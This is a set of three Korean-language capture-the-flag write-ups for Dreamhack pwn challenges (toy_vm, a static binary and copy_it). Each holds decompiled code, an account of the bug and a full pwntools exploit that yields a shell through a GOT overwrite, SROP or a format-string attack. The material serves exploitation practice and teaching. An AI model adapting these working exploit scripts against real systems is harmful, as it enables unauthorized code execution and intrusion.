64 비트 바이너리가 주어진다.
FROM ubuntu:22.04@sha256:34fea4f31bf187bc915536831fd0afc9d214755bf700b5cdb1336c82516d154e
ARG DEBIAN_FRONTEND=noninteractive
ENV user toy_vm
ENV chall_port 31337
RUN apt-get update
RUN apt-get install -y \
xinetd
RUN adduser $user
ADD ./deploy/xinetd /etc/xinetd.d/chall
ADD ./deploy/flag /home/$user/flag
ADD ./deploy/$user /home/$user/$user
ADD ./deploy/run.sh /home/$user/run.sh
RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chown root:$user /home/$user/run.sh
RUN chmod 755 /home/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
RUN chmod 755 /home/$user/run.sh
RUN service xinetd restart
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD ["/usr/sbin/xinetd", "-dontfork"]
도커 파일을 통해서 우분투 22.04에서 돌아간다는 것을 알 수 있다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
Init();
VM();
}
main 함수의 모습이다.
Init 하고 VM을 호출한다.
신기하게 바이너리에 심볼이 다 살아있어서 분석하기 편했다.
char *Init()
{
char *result; // rax
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sp_2 = (char *)&upper_mem;
max_mem = (__int64)&upper_mem + 4095;
result = (char *)&upper_mem - 4096;
min_mem = (__int64)&upper_mem - 4096;
return result;
}
Init 함수의 모습이다.
원래 reg_2 였었는데, 분석하다보니 stack pointer 정도로 쓰이는거 같아서, sp_2로 바꿨다.
여기서 이 sp의 최대, 최소를 세팅한다.
void __noreturn VM()
{
unsigned __int8 input[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v1; // [rsp+108h] [rbp-8h]
v1 = __readfsqword(0x28u);
while ( 1 )
{
memset(input, 0, 0x100uLL);
read(0, input, 254uLL);
HandleInput(input);
write(1, "+++\n", 4uLL);
}
}
VM 함수의 모습이다.
input을 받고, HandleInput을 호출한다.
__int64 __fastcall HandleInput(unsigned __int8 *input)
{
__int64 result; // rax
unsigned __int8 opcode; // [rsp+1Fh] [rbp-1h]
while ( 1 )
{
result = *input;
if ( !(_BYTE)result )
break;
opcode = ParseInstruction(input);
ProcessInstruction(opcode, (__int8 *)input);
if ( opcode == 0xFF )
{
puts("invalid insruction detected");
exit(0);
}
input += *((_QWORD *)&unk_3BF8 + 4 * opcode);
}
return result;
}
HandleInput 함수의 모습이다.
PareseInstruction 함수는 명령을 파싱하고 opcode에 저장하는 역할을 한다.
ProcessInstruction은 opcode와 operand를 받아서 잘 실행시켜주는 역할을 한다.
opcode가 이상한거면, invalid instruction detected를 출력하고 exit 한다.
__int64 __fastcall ParseInstruction(const void *input)
{
unsigned __int8 v2; // [rsp+1Bh] [rbp-5h]
int cnt; // [rsp+1Ch] [rbp-4h]
v2 = -1;
for ( cnt = 0; cnt <= 12; ++cnt )
{
if ( !memcmp(input, *(&off_3BE8 + 4 * cnt), *((_QWORD *)&qword_3BF0 + 4 * cnt)) )
return (unsigned __int8)*((_DWORD *)&instructions + 8 * cnt);
}
return v2;
}
ParseInstruction 함수의 모습이다.
input 받아서, instruction opcode 리턴해준다.
__int64 __fastcall ProcessInstruction(unsigned int opcode, __int8 *input)
{
__int64 result; // rax
result = opcode;
switch ( opcode )
{
case 0u: // \x10
case 1u: // \x11
case 2u: // \x12
result = (__int64)Add(input);
break;
case 3u: // \x30
case 4u: // \x31
case 5u: // \x32
result = (__int64)Sub(input);
break;
case 6u: // \x70
case 7u: // \x71
case 8u: // \x72
result = (__int64)Mul(input);
break;
case 9u: // \xbe
result = Read();
break;
case 0xAu: // \xef
result = Write();
break;
case 0xBu: // \xca
result = Puts();
break;
default: // \xfe
return result;
}
return result;
}
Parsing 이후에 호출되는 함수이다.
옆에다 주석으로 어떤 opcode에 해당하는지 기록해놓았다.
__int64 *__fastcall Add(__int8 *opcode)
{
__int64 *result; // rax
result = GetDstReg(*opcode);
*result += *(unsigned __int16 *)(opcode + 1); // 2byte operand
return result;
}
Add 함수의 모습이다.
opcode 주소 + 1부터 operand에 해당하니 여기서 2바이트를 참조해서 가져오고 더해준다.
__int64 *__fastcall GetDstReg(char a1)
{
if ( (a1 & 2) != 0 ) // opcode == 2
return (__int64 *)&sp_2;
if ( (a1 & 1) != 0 ) // opcode == 1
return ®_1;
return ®_0; // opcode == 0
}
GetDstReg 함수의 모습이다.
opcode에 따라서 destination register가 결정된다.
__int64 *__fastcall Sub(__int8 *a1)
{
__int64 *result; // rax
result = GetDstReg(*a1);
*result -= *(unsigned __int16 *)(a1 + 1);
return result;
}
Sub 함수의 모습이다.
뺄샘이 구현되어있다.
__int64 *__fastcall Mul(char *a1)
{
__int64 *result; // rax
result = GetDstReg(*a1);
*result = reg_1 * reg_0;
return result;
}
Mul 함수의 모습이다.
곱셈이 구현되어있다.
ssize_t Read()
{
if ( (unsigned __int64)sp_2 < min_mem || max_mem < (unsigned __int64)sp_2 )
{
puts("out-of-bound access detected");
exit(1);
}
return read(0, sp_2, 2uLL);
}
Read 함수의 모습이다.
sp_2에 입력을 받아준다.
2 바이트 받는다.
여기서 OOB를 감지한다.
ssize_t Write()
{
if ( (unsigned __int64)sp_2 < min_mem || max_mem < (unsigned __int64)sp_2 )
{
puts("out-of-bound access detected");
exit(1);
}
return write(1, sp_2, 2uLL);
}
Write 함수의 모습이다.
write를 한다.
OOB를 감지한다.
int Puts()
{
return puts(sp_2);
}
Puts 함수의 모습이다.
라이브러리 함수인 puts를 호출한다.
인자로 sp_2가 들어간다.
sp_2를 잘 컨트롤하면 bss의 stdout을 leak 할 수 있다.
이를 통해 libc leak이 가능하다.
if ( (unsigned __int64)sp_2 < min_mem || max_mem < (unsigned __int64)sp_2 )
{
puts("out-of-bound access detected");
exit(1);
}
max, min을 변조해서 OOB 검증을 우회할 수 있다.
2 바이트가 덮히니, Read 함수 내부에서 위 조건문을 우회하면서 max의 1 바이트를 overwrite를 할 수 있다.
1 바이트가 overwrite 되었으니 min과 max를 다 덮을 수 있다.
바이너리는 Full Relro이니, Partial Relro인 libc의 got를 덮으면 된다.
puts 함수의 내부 로직에서 strlen을 호출하는데, 그 got를 system으로 덮고, sp_2를 /bin/sh를 가리키게 만들고 puts를 호출하면 된다.
from pwn import *
e = ELF('./toy_vm')
#p = process('./toy_vm')
p =remote('host1.dreamhack.games',13353)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pay = b'\x32' #sub
pay += p16(0x1060)
pay += b'\xca'#puts
pay += b'\x12'#add
pay += p16(0x1060)
pay += b'\x12'#add
pay += p16(0x1000)
pay += b'\xca' #puts
pay += b'\x32'#sub
pay += p16(1)
pay += b'\xbe'#read
pay += b'\x12'
pay += p16(1+6)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(6)
pay += b'\xbe'#read
pay += b'\x32'#sub
pay += p16(0x200c+0x18)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x32'#sub
pay += p16(6)
# reg1 <- sp
pay += b'\x32'
pay += p16(0x8)
pay += b'\xbe'
pay += b'\x12'#add
pay += p16(0x8)
pay += b'\x72' #mul
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\xbe'#read
pay += b'\x12'#add
pay += p16(0x2)
pay += b'\x30'#sub
pay += p16(1)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x32'#sub
pay += p16(0x8145)
pay += b'\x12'#add
pay += p16(0x10)
pay += b'\x12'#add
pay += p16(0x10)
pay += b'\xca'
pause()
p.send(pay)
libc_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdout_']
success('libc base : ' +hex(libc_base))
strlen_got = libc_base + 0x219098
sys = libc_base + libc.sym['system']
bin_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) -0x607f
bin_sh = libc_base + 0x1d8698
success('bin base : ' +hex(bin_base))
p.send(b'\xff\xff')
sleep(0.1)
p.send(b'\xff\xff')
success('strlen got : '+hex(strlen_got))
sleep(0.1)
p.send(b'\x00\x00')
success('bin sh : '+hex(bin_sh))
sleep(0.1)
p.send(p64(strlen_got)[:2])
sleep(0.1)
p.send(p64(strlen_got)[2:4])
sleep(0.1)
p.send(p64(strlen_got)[4:6])
sleep(0.1)
p.send(p64(strlen_got)[6:8])
#reg_1 : strlen_got
sleep(0.1)
p.send(b'\x01\x00')
sleep(0.1)
p.send(p64(sys)[:2])
sleep(0.1)
p.send(p64(sys)[2:4])
sleep(0.1)
p.send(p64(sys)[4:6])
sleep(0.1)
p.send(p64(sys)[6:8])
p.interactive()
/bin/sh를 sp_2에 넣고 호출했었는데, 안되길래 아다리 잘 맞춰줬다.
64 비트 바이너리가 주어진다.
statically linked 바이너리이다.
__int64 start()
{
char v1[8]; // [rsp+8h] [rbp-8h] BYREF
read(0, v1, 0144u);
return 0LL;
}
분석할게 없다.
Bof 터진다.
.text:0000000000401027 ; signed __int64 __fastcall read(unsigned int, char *, unsigned int)
.text:0000000000401027 public read
.text:0000000000401027 read proc near ; CODE XREF: _start+1D↓p
.text:0000000000401027
.text:0000000000401027 buf = qword ptr -10h
.text:0000000000401027 count = qword ptr -8
.text:0000000000401027
.text:0000000000401027 ; __unwind {
.text:0000000000401027 endbr64
.text:000000000040102B push rbp
.text:000000000040102C mov rbp, rsp
.text:000000000040102F mov dword ptr [rbp+count+4], edi
.text:0000000000401032 mov [rbp+buf], rsi
.text:0000000000401036 mov dword ptr [rbp+count], edx
.text:0000000000401039 mov eax, 0
.text:000000000040103E mov ecx, dword ptr [rbp+count+4]
.text:0000000000401041 mov rsi, [rbp+buf] ; buf
.text:0000000000401045 mov edx, dword ptr [rbp+count] ; count
.text:0000000000401048 mov edi, ecx ; fd
.text:000000000040104A syscall ; LINUX - sys_read
.text:000000000040104C nop
.text:000000000040104D pop rbp
.text:000000000040104E retn
.text:000000000040104E ; } // starts at 401027
.text:000000000040104E read endp
read도 그대로 남아있다.
.text:0000000000401000 ; void helper1()
.text:0000000000401000 public helper1
.text:0000000000401000 helper1 proc near ; DATA XREF: LOAD:0000000000400088↑o
.text:0000000000401000 ; __unwind {
.text:0000000000401000 endbr64
.text:0000000000401004 push rbp
.text:0000000000401005 mov rbp, rsp
.text:0000000000401008 push rdi
.text:0000000000401009 pop rdi
.text:000000000040100A nop
.text:000000000040100B pop rbp
.text:000000000040100C retn
.text:000000000040100C ; } // starts at 401000
.text:000000000040100C helper1 endp
.text:000000000040100C
.text:000000000040100D
.text:000000000040100D ; =============== S U B R O U T I N E =======================================
.text:000000000040100D
.text:000000000040100D ; Attributes: bp-based frame
.text:000000000040100D
.text:000000000040100D ; void helper2()
.text:000000000040100D public helper2
.text:000000000040100D helper2 proc near
.text:000000000040100D ; __unwind {
.text:000000000040100D endbr64
.text:0000000000401011 push rbp
.text:0000000000401012 mov rbp, rsp
.text:0000000000401015 push rsi
.text:0000000000401016 pop rsi
.text:0000000000401017 nop
.text:0000000000401018 pop rbp
.text:0000000000401019 retn
.text:0000000000401019 ; } // starts at 40100D
.text:0000000000401019 helper2 endp
.text:0000000000401019
.text:000000000040101A
.text:000000000040101A ; =============== S U B R O U T I N E =======================================
.text:000000000040101A
.text:000000000040101A ; Attributes: bp-based frame
.text:000000000040101A
.text:000000000040101A ; void helper3()
.text:000000000040101A public helper3
.text:000000000040101A helper3 proc near
.text:000000000040101A ; __unwind {
.text:000000000040101A endbr64
.text:000000000040101E push rbp
.text:000000000040101F mov rbp, rsp
.text:0000000000401022 push rdx
.text:0000000000401023 pop rdx
.text:0000000000401024 nop
.text:0000000000401025 pop rbp
.text:0000000000401026 retn
.text:0000000000401026 ; } // starts at 40101A
.text:0000000000401026 helper3 endp
helper 1, 2, 3이 있다.
가젯 제공해주는 용도다.
stack pivoting 하고, Sigreturn으로 레지스터 세팅하고, rax 59로 세팅해서 execve 불렀다.
rdi로는 /bin/sh 넣어줬다.
/bin/sh는 bss에 입력해줬다.
syscall 가젯은 read 함수 내부에서 얻을 수 있다.
from pwn import *
e = ELF('./prob')
#p = process('./prob')
p = remote('host3.dreamhack.games',8660)
context.binary = './prob'
context.arch ='amd64'
start = 0x40104f
ret = 0x000000000040100c
syscall = 0x40104A
read = 0x401027
sigreturn = 15
execve = 59
pop_rdi_rbp = 0x0000000000401009
pop_rsi_rbp = 0x0000000000401016
pop_rdx_rbp = 0x0000000000401023
leave_ret = 0x0000000000401076
frame = SigreturnFrame()
frame.rax = execve
frame.rip = syscall
frame.rdi = 0x404600
frame.rsp = e.bss()
pay = p64(0) + p64(e.bss()+0x600)
pay += p64(pop_rsi_rbp) + p64(e.bss()+0x600) + p64(e.bss()+0x600)
pay += p64(read)
pay += p64(leave_ret)
pay += p64(start)
pause()
p.send(pay)
pay = b'/bin/sh\x00' # -> e.bss() + 0x600 -> 0x404600
pay += p64(pop_rdi_rbp) + p64(0)+p64(e.bss()+0x600)
pay += p64(pop_rsi_rbp) + p64(0x404658) + p64(e.bss()+0x600)
pay += p64(pop_rdx_rbp) + p64(0x1000) + p64(e.bss()+0x600)+p64(read)
pause()
p.send(pay)
pay = p64(read)
pay += p64(syscall)
pay += bytes(frame)
pause()
p.send(pay)
pay = p64(read)
pay += b'\x4a\x10\x40\x00\x00\x00\x00'
pause()
p.send(pay)
p.interactive()
64 비트 바이너리가 주어진다.
FROM ubuntu:22.04@sha256:34fea4f31bf187bc915536831fd0afc9d214755bf700b5cdb1336c82516d154e
ARG DEBIAN_FRONTEND=noninteractive
ENV user copy_it
ENV chall_port 31337
RUN apt-get update
RUN apt-get install -y \
xinetd
RUN adduser $user
ADD ./deploy/xinetd /etc/xinetd.d/chall
ADD ./deploy/flag /home/$user/flag
ADD ./deploy/$user /home/$user/$user
ADD ./deploy/run.sh /home/$user/run.sh
RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chown root:$user /home/$user/run.sh
RUN chmod 755 /home/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
RUN chmod 755 /home/$user/run.sh
RUN service xinetd restart
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD ["/usr/sbin/xinetd", "-dontfork"]
우분투 22.04를 사용한다.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("copy it!");
do
{
memset(s, 1, 0x100uLL);
write(1, "input: ", 7uLL);
read(0, s, 255uLL);
printf(s);
}
while ( MEMORY[0xDEADBEEF000] != qword_405398 );
write(1, "flag is ", 8uLL);
system("/bin/cat flag");
return 0LL;
}
main 함수의 모습이다.
0xdeadbeef000이랑 비교해서 맞으면 flag를 읽어준다.
.init_array:0000000000403D60 ; ELF Initialization Function Table
.init_array:0000000000403D60 ; ===========================================================================
.init_array:0000000000403D60
.init_array:0000000000403D60 ; Segment type: Pure data
.init_array:0000000000403D60 ; Segment permissions: Read/Write
.init_array:0000000000403D60 _init_array segment qword public 'DATA' use64
.init_array:0000000000403D60 assume cs:_init_array
.init_array:0000000000403D60 ;org 403D60h
.init_array:0000000000403D60 off_403D60 dq offset sub_4012D0 ; DATA XREF: LOAD:0000000000400168↑o
.init_array:0000000000403D60 ; LOAD:00000000004002F0↑o
.init_array:0000000000403D68 dq offset sub_4012D6
.init_array:0000000000403D68 _init_array ends
.init_array:0000000000403D68
read only이고 값이 계속 바뀌길래 찾아보니까 함수가 init array에 등록되어있었다.
int sub_4012D6()
{
int result; // eax
FILE *stream; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
if ( mmap((void *)0xDEADBEEF000LL, 0x1000uLL, 3, 34, 0, 0LL) != (void *)0xDEADBEEF000LL )
{
puts("mmap() error.");
exit(0);
}
stream = fopen("/dev/urandom", "r");
if ( !stream )
{
puts("fopen() error.");
exit(0);
}
if ( fread((void *)0xDEADBEEF000LL, 1uLL, 8uLL, stream) != 8 )
{
puts("fread() error.");
exit(0);
}
if ( fclose(stream) )
{
puts("fclose() error.");
exit(0);
}
result = mprotect((void *)0xDEADBEEF000LL, 0x1000uLL, 1);
if ( result == -1 )
{
puts("mprotect() error.");
exit(0);
}
return result;
}
sub_4012d6 이다.
/dev/urandom 난수 생성 파일 읽어서, 0xdeadbeef000에 저장한다.
그리고 mprotect로 read only로 만든다.
libc leak 해주고, strlen got system 덮고 /bin/sh 불렀다.
from pwn import *
context.binary = './copy_it'
e = ELF('./copy_it')
#p = process('./copy_it')
p = remote('host3.dreamhack.games',17074)
pay = b'%3$p '
p.send(pay)
p.recvuntil(b'0x')
libc_base = int(p.recvuntil(b'\x20'),16) -0x114992
success('libc base : '+hex(libc_base))
overwrite = libc_base + 0x2190b8
success('overwrite : '+hex(overwrite))
p.recv()
pay = b'%1$p '
p.send(pay)
ret = int(p.recvuntil(b'\x20'),16) +0x118
success('stack ret : '+hex(ret))
exit_funcs = libc_base+0x219838
exit_funcs2 = libc_base+0x219838+0x8
next_ret = ret+0x8
# writes = {
# exit_funcs : 0x40152D,
# exit_funcs2 : 0x40152D
# }
# #0x000000000040101a ret
# pay = fmtstr_payload(6, writes)
# p.send(pay)
writes = {
overwrite : e.plt['system']
}
pay = fmtstr_payload(6, writes)
p.send(pay)
pause()
p.send(b'/bin/sh\x00')
p.interactive()